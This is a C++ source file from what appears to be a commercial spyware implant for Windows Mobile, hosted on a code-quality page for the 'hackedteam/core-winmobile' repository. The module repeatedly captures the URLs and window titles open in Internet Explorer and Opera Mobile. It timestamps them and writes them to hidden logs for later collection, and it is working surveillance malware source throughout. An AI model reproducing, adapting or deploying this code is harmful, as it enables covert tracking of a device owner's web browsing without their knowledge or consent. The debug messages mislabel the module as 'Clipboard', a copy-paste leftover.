hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/UrlCatcher.cpp

Summary

Maintainability
Test Coverage
#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include "Url.h"

DWORD WINAPI UrlModule(LPVOID lpParam) {
    Module *me = (Module *)lpParam;
    HANDLE moduleHandle;

    wstring strIEUrl, strIE65Url, strOperaUrl, strIEOld, strIE65Old, strOperaOld;
    wstring strTitle;
    BOOL bEmpty = TRUE;
    INT iRet;
    UINT uMarkupLen, uHash = 0, uNewHash;
    BYTE *pMarkup;
    SYSTEMTIME st;
    DWORD dw, dwMarker = LOG_URL_MARKER;
    WCHAR wNull = 0;
    struct tm mytm;

    Log log;

    me->setStatus(MODULE_RUNNING);
    moduleHandle = me->getEvent();

    DBG_TRACE(L"Debug - UrlCatcher.cpp - Url Module is Alive\n", 5, FALSE);

    if (log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH) == FALSE) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    // Inizializziamo uHash con l'hash dell'ultimo URL preso
    pMarkup = log.ReadMarkup(MODULE_URL, &uMarkupLen);

    if (pMarkup && uMarkupLen == 4)
        CopyMemory(&uHash, pMarkup, sizeof(uHash)); 

    if (pMarkup) {
        delete[] pMarkup;
        pMarkup = NULL;
    }

    LOOP {
        do {
            iRet = GetIE60Url(strIEUrl, strTitle, moduleHandle);

            // Dobbiamo fermarci
            if (iRet < 0) {
                if (me->shouldStop()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    me->setStatus(MODULE_STOPPED);
                    return 0;
                }

                if (me->shouldCycle()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
                    bEmpty = TRUE;
                    continue;
                }
            }

            // Calcoliamo l'hash dell'URL attuale
            uNewHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));

            if (iRet && uNewHash != uHash && strIEUrl != strIEOld) {
                GetSystemTime(&st);
                SET_TIMESTAMP(mytm, st);

                if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
                    bEmpty = FALSE;

                log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
                log.WriteLog((BYTE *)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
                // Scriviamo il tipo di browser
                dw = 1; // IE
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo il titolo della finestra + NULL
                if (strTitle.empty())
                    strTitle = L"UNKNOWN";

                log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

                // Scriviamo il delimitatore
                dw = LOG_DELIMITER;
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo l'hash dell'URL attuale nel markup
                uHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
                log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

                strIEOld = strIEUrl;
            }
        } while(0);

        do {
            iRet = GetIE65Url(strIE65Url, strTitle, moduleHandle);

            // Dobbiamo fermarci
            if (iRet < 0) {
                if (me->shouldStop()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    me->setStatus(MODULE_STOPPED);
                    return 0;
                }

                if (me->shouldCycle()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
                    bEmpty = TRUE;
                    continue;
                }
            }

            // Calcoliamo l'hash dell'URL attuale
            uNewHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));

            if (iRet && uNewHash != uHash && strIE65Url != strIE65Old) {
                GetSystemTime(&st);
                SET_TIMESTAMP(mytm, st);

                if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
                    bEmpty = FALSE;

                log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
                log.WriteLog((BYTE *)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

                // Scriviamo il tipo di browser
                dw = 1; // IE
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo il titolo della finestra + NULL
                if (strTitle.empty())
                    strTitle = L"UNKNOWN";

                log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

                // Scriviamo il delimitatore
                dw = LOG_DELIMITER;
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo l'hash dell'URL attuale nel markup
                uHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
                log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

                strIE65Old = strIE65Url;
            }
        } while(0);

        do {
            iRet = GetOperaUrl(strOperaUrl, strTitle, moduleHandle);

            // Dobbiamo fermarci
            if (iRet < 0) {
                if (me->shouldStop()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    me->setStatus(MODULE_STOPPED);
                    return 0;
                }

                if (me->shouldCycle()) {
                    DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

                    log.CloseLog(bEmpty);
                    log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
                    bEmpty = TRUE;
                    continue;
                }
            }

            // Calcoliamo l'hash dell'URL attuale
            uNewHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));

            if (iRet && uNewHash != uHash && strOperaUrl != strOperaOld) {
                GetSystemTime(&st);
                SET_TIMESTAMP(mytm, st);

                if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
                    bEmpty = FALSE;

                log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
                log.WriteLog((BYTE *)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

                // Scriviamo il tipo di browser
                dw = 3; // Opera-Mobile
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo il titolo della finestra + NULL
                if (strTitle.empty())
                    strTitle = L"UNKNOWN";

                log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
                log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

                // Scriviamo il delimitatore
                dw = LOG_DELIMITER;
                log.WriteLog((BYTE *)&dw, sizeof(dw));

                // Scriviamo l'hash dell'URL attuale nel markup
                uHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
                log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

                strOperaOld = strOperaUrl;
            }
        } while(0);

        WaitForSingleObject(moduleHandle, 5000);

        if (me->shouldStop()) {
            DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

            log.CloseLog(bEmpty);
            me->setStatus(MODULE_STOPPED);
            return 0;
        }

        if (me->shouldCycle()) {
            DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

            log.CloseLog(bEmpty);
            log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
        }
    }

    return TRUE;
}